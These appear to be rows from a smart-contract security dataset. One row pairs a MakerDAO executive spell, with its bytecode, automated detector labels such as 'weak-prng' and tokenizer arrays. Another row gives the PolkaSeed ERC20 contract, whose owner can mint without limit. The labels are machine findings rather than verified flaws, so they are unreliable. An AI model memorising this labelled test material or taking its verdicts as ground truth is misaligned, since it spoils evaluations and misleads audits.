addReaderToMedianWhitelist(address _median, address _reader) public { OracleLike_2(_median).kiss(_reader); } function removeReadersFromMedianWhitelist(address _median, address[] memory _readers) public { } function removeReaderFromMedianWhitelist(address _median, address _reader) public { } function setMedianWritersQuorum(address _median, uint256 _minQuorum) public { } function addReaderToOSMWhitelist(address _osm, address _reader) public { } function removeReaderFromOSMWhitelist(address _osm, address _reader) public { } function allowOSMFreeze(address _osm, bytes32 _ilk) public { } function addCollateralBase( bytes32 _ilk, address _gem, address _join, address _flip, address _pip ) public { } function sendPaymentFromSurplusBuffer(address _target, uint256 _amount) public { } } ////// lib/dss-exec-lib/src/DssAction.sol // // DssAction.sol -- DSS Executive Spell Actions // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.11; */ /* import "./CollateralOpts.sol"; */ /* import { DssExecLib } from "./DssExecLib.sol"; */ interface OracleLike_1 { function src() external view returns (address); } abstract contract DssAction { using DssExecLib for *; // Office Hours defaults to true by default. // To disable office hours, override this function and // return false in the inherited action. function officeHours() public virtual returns (bool) { return true; } // DssExec calls execute. We limit this function subject to officeHours modifier. function execute() external limited { actions(); } // DssAction developer must override `actions()` and place all actions to be called inside. // The DssExec function will call this subject to the officeHours limiter // By keeping this function public we allow simulations of `execute()` on the actions outside of the cast time. function actions() public virtual; // Modifier required to modifier limited { if (officeHours()) { uint day = (block.timestamp / 1 days + 3) % 7; require(day < 5, "Can only be cast on a weekday"); uint hour = block.timestamp / 1 hours % 24; require(hour >= 14 && hour < 21, "Outside office hours"); } _; } /*****************************/ /*** Collateral Onboarding ***/ /*****************************/ // Complete collateral onboarding logic. function addNewCollateral(CollateralOpts memory co) internal { // Add the collateral to the system. DssExecLib.addCollateralBase(co.ilk, co.gem, co.join, co.flip, co.pip); // Allow FlipperMom to access to the ilk Flipper address _flipperMom = DssExecLib.flipperMom(); DssExecLib.authorize(co.flip, _flipperMom); // Disallow Cat to kick auctions in ilk Flipper if(!co.isLiquidatable) { DssExecLib.deauthorize(_flipperMom, co.flip); } if(co.isOSM) { // If pip == OSM // Allow OsmMom to access to the TOKEN OSM DssExecLib.authorize(co.pip, DssExecLib.osmMom()); if (co.whitelistOSM) { // If median is src in OSM // Whitelist OSM to read the Median data (only necessary if it is the first time the token is being added to an ilk) DssExecLib.addReaderToMedianWhitelist(address(OracleLike_1(co.pip).src()), co.pip); } // Whitelist Spotter to read the OSM data (only necessary if it is the first time the token is being added to an ilk) DssExecLib.addReaderToOSMWhitelist(co.pip, DssExecLib.spotter()); // Whitelist End to read the OSM data (only necessary if it is the first time the token is being added to an ilk) DssExecLib.addReaderToOSMWhitelist(co.pip, DssExecLib.end()); // Set TOKEN OSM in the OsmMom for new ilk DssExecLib.allowOSMFreeze(co.pip, co.ilk); } // Increase the global debt ceiling by the ilk ceiling DssExecLib.increaseGlobalDebtCeiling(co.ilkDebtCeiling); // Set the ilk debt ceiling DssExecLib.setIlkDebtCeiling(co.ilk, co.ilkDebtCeiling); // Set the ilk dust DssExecLib.setIlkMinVaultAmount(co.ilk, co.minVaultAmount); // Set the dunk size DssExecLib.setIlkMaxLiquidationAmount(co.ilk, co.maxLiquidationAmount); // Set the ilk liquidation penalty DssExecLib.setIlkLiquidationPenalty(co.ilk, co.liquidationPenalty); // Set the ilk stability fee DssExecLib.setIlkStabilityFee(co.ilk, co.ilkStabilityFee, true); // Set the ilk percentage between bids DssExecLib.setIlkMinAuctionBidIncrease(co.ilk, co.bidIncrease); // Set the ilk time max time between bids DssExecLib.setIlkBidDuration(co.ilk, co.bidDuration); // Set the ilk max auction duration DssExecLib.setIlkAuctionDuration(co.ilk, co.auctionDuration); // Set the ilk min collateralization ratio DssExecLib.setIlkLiquidationRatio(co.ilk, co.liquidationRatio); // Update ilk spot value in Vat DssExecLib.updateCollateralPrice(co.ilk); } } ////// lib/dss-exec-lib/src/DssExec.sol // // DssExec.sol -- MakerDAO Executive Spell Template // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.11; */ interface PauseAbstract { function delay() external view returns (uint256); function plot(address, bytes32, bytes calldata, uint256) external; function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory); } interface Changelog { function getAddress(bytes32) external view returns (address); } interface SpellAction { function officeHours() external view returns (bool); } contract DssExec { Changelog constant public log = Changelog(0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F); uint256 public eta; bytes public sig; bool public done; bytes32 immutable public tag; address immutable public action; uint256 immutable public expiration; PauseAbstract immutable public pause; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://<executive-vote-canonical-post> -q -O - 2>/dev/null)" string public description; function officeHours() external view returns (bool) { return SpellAction(action).officeHours(); } function nextCastTime() external view returns (uint256 castTime) { require(eta != 0, "DssExec/spell-not-scheduled"); castTime = block.timestamp > eta ? block.timestamp : eta; // Any day at XX:YY if (SpellAction(action).officeHours()) { uint256 day = (castTime / 1 days + 3) % 7; uint256 hour = castTime / 1 hours % 24; uint256 minute = castTime / 1 minutes % 60; uint256 second = castTime % 60; if (day >= 5) { castTime += (6 - day) * 1 days; // Go to Sunday XX:YY castTime += (24 - hour + 14) * 1 hours; // Go to 14:YY UTC Monday castTime -= minute * 1 minutes + second; // Go to 14:00 UTC } else { if (hour >= 21) { if (day == 4) castTime += 2 days; // If Friday, fast forward to Sunday XX:YY castTime += (24 - hour + 14) * 1 hours; // Go to 14:YY UTC next day castTime -= minute * 1 minutes + second; // Go to 14:00 UTC } else if (hour < 14) { castTime += (14 - hour) * 1 hours; // Go to 14:YY UTC same day castTime -= minute * 1 minutes + second; // Go to 14:00 UTC } } } } // @param _description A string description of the spell // @param _expiration The timestamp this spell will expire. (Ex. now + 30 days) // @param _spellAction The address of the spell action constructor(string memory _description, uint256 _expiration, address _spellAction) public { pause = PauseAbstract(log.getAddress("MCD_PAUSE")); description = _description; expiration = _expiration; action = _spellAction; sig = abi.encodeWithSignature("execute()"); bytes32 _tag; // Required for assembly access address _action = _spellAction; // Required for assembly access assembly { _tag := extcodehash(_action) } tag = _tag; } function schedule() public { require(now <= expiration, "This contract has expired"); require(eta == 0, "This spell has already been scheduled"); eta = now + PauseAbstract(pause).delay(); pause.plot(action, tag, sig, eta); } function cast() public { require(!done, "spell-already-cast"); done = true; pause.exec(action, tag, sig, eta); } } ////// src/DssSpell.sol // SPDX-License-Identifier: GPL-3.0-or-later // Copyright (C) 2021 Maker Ecosystem Growth Holdings, INC. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity 0.6.11; */ /* import "dss-exec-lib/DssExec.sol"; */ /* import "dss-exec-lib/DssAction.sol"; */ interface ChainlogAbstract_2 { function removeAddress(bytes32) external; } interface LPOracle { function orb0() external view returns (address); function orb1() external view returns (address); } interface Fileable_2 { function file(bytes32,uint256) external; } contract DssSpellAction is DssAction { // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/46cbe46a16b7836d6b219201e3a07d40b01a7db4/governance/votes/Community%20Executive%20vote%20-%20February%2026%2C%202021.md -q -O - 2>/dev/null)" string public constant description = "2021-02-26 MakerDAO Executive Spell | Hash: 0x4c91fafa587264790d3ad6498caf9c0070a810237c46bb7f3b2556e043ba7b23"; // Many of the settings that change weekly rely on the rate accumulator // described at https://docs.makerdao.com/smart-contract-modules/rates-module // To check this yourself, use the following rate calculation (example 8%): // // $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )' // // A table of rates can be found at // https://ipfs.io/ipfs/QmefQMseb3AiTapiAKKexdKHig8wroKuZbmLtPLv4u2YwW // uint256 constant FOUR_PCT = 1000000001243680656318820312; uint256 constant FIVE_PT_FIVE_PCT = 1000000001697766583380253701; uint256 constant NINE_PCT = 1000000002732676825177582095; uint256 constant WAD = 10**18; uint256 constant RAD = 10**45; uint256 constant MILLION = 10**6; address constant UNIV2DAIUSDT_GEM = 0xB20bd5D04BE54f870D5C0d3cA85d82b34B836405; address constant UNIV2DAIUSDT_JOIN = 0xAf034D882169328CAf43b823a4083dABC7EEE0F4; address constant UNIV2DAIUSDT_FLIP = 0xD32f8B8aDbE331eC0CfADa9cfDbc537619622cFe; address constant UNIV2DAIUSDT_PIP = 0x69562A7812830E6854Ffc50b992c2AA861D5C2d3; function actions() public override { // Rates Proposal - February 22, 2021 DssExecLib.setIlkStabilityFee("ETH-A", FIVE_PT_FIVE_PCT, true); DssExecLib.setIlkStabilityFee("ETH-B", NINE_PCT, true); // Onboard UNIV2DAIUSDT-A DssExecLib.addReaderToMedianWhitelist( LPOracle(UNIV2DAIUSDT_PIP).orb1(), UNIV2DAIUSDT_PIP ); CollateralOpts memory UNIV2DAIUSDT_A = CollateralOpts({ ilk: "UNIV2DAIUSDT-A", gem: UNIV2DAIUSDT_GEM, join: UNIV2DAIUSDT_JOIN, flip: UNIV2DAIUSDT_FLIP, pip: UNIV2DAIUSDT_PIP, isLiquidatable: true, isOSM: true, whitelistOSM: false, ilkDebtCeiling: 3 * MILLION, minVaultAmount: 2000, maxLiquidationAmount: 50000, liquidationPenalty: 1300, ilkStabilityFee: FOUR_PCT, bidIncrease: 300, bidDuration: 6 hours, auctionDuration: 6 hours, liquidationRatio: 12500 }); addNewCollateral(UNIV2DAIUSDT_A); DssExecLib.setChangelogAddress("UNIV2DAIUSDT", UNIV2DAIUSDT_GEM); DssExecLib.setChangelogAddress("MCD_JOIN_UNIV2DAIUSDT_A", UNIV2DAIUSDT_JOIN); DssExecLib.setChangelogAddress("MCD_FLIP_UNIV2DAIUSDT_A", UNIV2DAIUSDT_FLIP); DssExecLib.setChangelogAddress("PIP_UNIV2DAIUSDT", UNIV2DAIUSDT_PIP); // Lower PSM-USDC-A Toll Out Fileable_2(DssExecLib.getChangelogAddress("MCD_PSM_USDC_A")).file("tout", 4 * WAD / 10000); // bump Changelog version DssExecLib.setChangelogVersion("1.2.8"); } } contract DssSpell is DssExec { DssSpellAction internal action_ = new DssSpellAction(); constructor() DssExec(action_.description(), block.timestamp + 30 days, address(action_)) public {} }
0x608060405234801561001057600080fd5b50600436106100ae5760003560e01c8062a7029b146100b35780630a7a1c4d146101305780634665096d1461015457806351973ec91461016e57806351f91066146101765780636e832f071461017e5780637284e4161461019a5780638456cb59146101a257806396d373e5146101aa578063ae8421e1146101b4578063b0604a26146101bc578063f7992d85146101c4578063fe7d47bb146101cc575b600080fd5b6100bb6101d4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f55781810151838201526020016100dd565b50505050905090810190601f1680156101225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610138610261565b604080516001600160a01b039092168252519081900360200190f35b61015c610285565b60408051918252519081900360200190f35b6101386102a9565b61015c6102c1565b6101866102e5565b604080519115158252519081900360200190f35b6100bb610372565b6101386103cd565b6101b26103f1565b005b61018661067a565b6101b2610683565b61015c61091a565b61015c610920565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102595780601f1061022e57610100808354040283529160200191610259565b820191906000526020600020905b81548152906001019060200180831161023c57829003601f168201915b505050505081565b7f000000000000000000000000b4cd15d9b1f6b78d7103d546414d22ac78989b6681565b7f000000000000000000000000000000000000000000000000000000006060c55681565b73da0ab1e0017debcd72be8599041a2aa3ba7e740f81565b7f454ce9614fd9b9138cf62f403d7fbf1a7b0e82420735b3d48bc738646ad2fd6a81565b60007f000000000000000000000000b4cd15d9b1f6b78d7103d546414d22ac78989b666001600160a01b0316636e832f076040518163ffffffff1660e01b815260040160206040518083038186803b15801561034057600080fd5b505afa158015610354573d6000803e3d6000fd5b505050506040513d602081101561036a57600080fd5b505190505b90565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102595780601f1061022e57610100808354040283529160200191610259565b7f000000000000000000000000be286431454714f511008713973d3b053a2d38f381565b60025460ff161561043e576040805162461bcd60e51b81526020600482015260126024820152711cdc195b1b0b585b1c9958591e4b58d85cdd60721b604482015290519081900360640190fd5b6002805460ff19166001908117825560005460405163168ccd6760e01b81527f000000000000000000000000b4cd15d9b1f6b78d7103d546414d22ac78989b666001600160a01b03818116600484019081527f454ce9614fd9b9138cf62f403d7fbf1a7b0e82420735b3d48bc738646ad2fd6a60248501819052606485018690526080604486019081528754600019818a161561010002011698909804608486018190527f000000000000000000000000be286431454714f511008713973d3b053a2d38f3939093169763168ccd6797949691959193909160a40190859080156105695780601f1061053e57610100808354040283529160200191610569565b820191906000526020600020905b81548152906001019060200180831161054c57829003601f168201915b505095505050505050600060405180830381600087803b15801561058c57600080fd5b505af11580156105a0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156105c957600080fd5b8101908080516040519392919084600160201b8211156105e857600080fd5b9083019060208201858111156105fd57600080fd5b8251600160201b81118282018810171561061657600080fd5b82525081516020918201929091019080838360005b8381101561064357818101518382015260200161062b565b50505050905090810190601f1680156106705780820380516001836020036101000a031916815260200191505b5060405250505050565b60025460ff1681565b7f000000000000000000000000000000000000000000000000000000006060c5564211156106f4576040805162461bcd60e51b8152602060048201526019602482015278151a1a5cc818dbdb9d1c9858dd081a185cc8195e1c1a5c9959603a1b604482015290519081900360640190fd5b600054156107335760405162461bcd60e51b8152600401808060200182810382526025815260200180610ac46025913960400191505060405180910390fd5b7f000000000000000000000000be286431454714f511008713973d3b053a2d38f36001600160a01b0316636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561078c57600080fd5b505afa1580156107a0573d6000803e3d6000fd5b505050506040513d60208110156107b657600080fd5b5051420160008190556040516346d2fbbb60e01b81526001600160a01b037f000000000000000000000000b4cd15d9b1f6b78d7103d546414d22ac78989b66818116600484019081527f454ce9614fd9b9138cf62f403d7fbf1a7b0e82420735b3d48bc738646ad2fd6a602485018190526064850186905260806044860190815260018054600281831615610100026000190190911604608488018190527f000000000000000000000000be286431454714f511008713973d3b053a2d38f3909616976346d2fbbb97959693959194909390929160a40190859080156108dd5780601f106108b2576101008083540402835291602001916108dd565b820191906000526020600020905b8154815290600101906020018083116108c057829003601f168201915b505095505050505050600060405180830381600087803b15801561090057600080fd5b505af1158015610914573d6000803e3d6000fd5b50505050565b60005481565b60008054610973576040805162461bcd60e51b815260206004820152601b60248201527a111cdcd15e1958cbdcdc195b1b0b5b9bdd0b5cd8da19591d5b1959602a1b604482015290519081900360640190fd5b600054421161098457600054610986565b425b90507f000000000000000000000000b4cd15d9b1f6b78d7103d546414d22ac78989b666001600160a01b0316636e832f076040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e157600080fd5b505afa1580156109f5573d6000803e3d6000fd5b505050506040513d6020811015610a0b57600080fd5b50511561036f576007620151808204600301066018610e10830406603c80840481900690840660058410610a64578360060362015180028501945082601803600e01610e1002850194508082603c020185039450610abc565b60158310610a9c578360041415610a7e576202a300850194505b82601803600e01610e1002850194508082603c020185039450610abc565b600e831015610abc5782600e03610e1002850194508082603c0201850394505b505050509056fe54686973207370656c6c2068617320616c7265616479206265656e207363686564756c6564a2646970667358221220d72a4984ac8e297e96b30d526c366702f6d91ccbaef012a3688254b29854fcfd64736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2497, 24434, 24096, 27717, 2581, 23499, 2487, 2546, 24594, 2692, 2575, 2094, 2620, 2278, 2629, 2063, 2629, 2094, 2620, 16048, 7875, 19797, 2683, 2094, 2692, 2546, 16147, 2683, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 5034, 2278, 1013, 16233, 4757, 11880, 2140, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1020, 1012, 2340, 1028, 1027, 1014, 1012, 1020, 1012, 2340, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5622, 2497, 1013, 16233, 2015, 1011, 4654, 8586, 1011, 5622, 2497, 1013, 5034, 2278, 1013, 24172, 7361, 3215, 1012, 14017, 1013, 1008, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2340, 1025, 1008, 1013, 2358, 6820, 6593, 24172, 7361, 3215, 1063, 27507, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,343
0x969Ba364a8EDDeeBea03Dc8Acc92866f843D9105
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract PolkaSeed is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // mapping(address => bool) private _pair_ads; uint256 private _totalSupply; string private _name; string private _symbol; //Custom 1.variable address private _owner; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "PolkaSeed"; _symbol = "PST"; _owner = _msgSender(); uint256 initToken = 1*10**26; _mint(_owner, initToken); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } // Custom 2.Function // transfer onwer ship function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _owner = newOwner; } // mint Token function mint(address toAd, uint256 amount) public onlyOwner returns (bool) { _mint(toAd, amount); return true; } // burn token function burn(uint256 amount) public onlyOwner returns (bool) { _burn(_owner, amount); return true; } // burn the garbage function burnGarbage(address garbageAd, address toAd) public onlyOwner returns(bool){ require(garbageAd != address(this)); IERC20 garbageSC = IERC20(garbageAd); garbageSC.transfer(toAd, garbageSC.balanceOf(address(this))); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); // require(recipient != address(0), "ERC20: transfer to the zero address"); // _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); // _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); // _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ // function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
